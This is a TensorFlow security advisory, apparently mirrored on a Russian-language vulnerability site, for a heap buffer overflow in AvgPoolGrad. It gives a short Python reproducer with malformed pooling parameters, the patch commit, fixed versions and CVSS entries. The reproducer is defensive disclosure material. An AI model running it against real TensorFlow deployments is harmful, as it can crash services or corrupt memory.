Описание
TensorFlow has Heap-buffer-overflow in AvgPoolGrad
Impact
import os
os.environ['TF_ENABLE_ONEDNN_OPTS'] = '0'
import tensorflow as tf
print(tf.__version__)
with tf.device("CPU"):
ksize = [1, 40, 128, 1]
strides = [1, 128, 128, 30]
padding = "SAME"
data_format = "NHWC"
orig_input_shape = [11, 9, 78, 9]
grad = tf.saturate_cast(tf.random.uniform([16, 16, 16, 16], minval=-128, maxval=129, dtype=tf.int64), dtype=tf.float32)
res = tf.raw_ops.AvgPoolGrad(
ksize=ksize,
strides=strides,
padding=padding,
data_format=data_format,
orig_input_shape=orig_input_shape,
grad=grad,
)
Patches
We have patched the issue in GitHub commit ddaac2bdd099bec5d7923dea45276a7558217e5b.
The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by evn@google.com
Пакеты
Наименование
tensorflow
pip
Затронутые версииВерсия исправления
< 2.11.1
2.11.1
Наименование
tensorflow-cpu
pip
Затронутые версииВерсия исправления
< 2.11.1
2.11.1
Связанные уязвимости
CVSS3: 7.5
nvd
почти 3 года назад
TensorFlow is an open source platform for machine learning. Prior to versions 2.12.0 and 2.11.1, there is a heap buffer overflow in TAvgPoolGrad. A fix is included in TensorFlow 2.12.0 and 2.11.1.
CVSS3: 7.5
debian
почти 3 года назад
TensorFlow is an open source platform for machine learning. Prior to v ...